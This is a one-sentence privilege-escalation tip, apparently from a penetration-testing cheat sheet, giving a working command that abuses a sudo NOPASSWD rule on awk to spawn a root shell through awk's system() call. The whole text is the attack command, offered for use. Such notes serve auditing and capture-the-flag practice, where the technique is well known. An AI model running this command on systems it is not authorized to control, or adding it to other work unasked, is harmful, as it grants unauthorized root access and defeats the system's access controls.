If awk can be run with NOPASSWD via sudo, then you can use the following to break out into a root shell: sudo awk 'BEGIN {system("/bin/sh")}'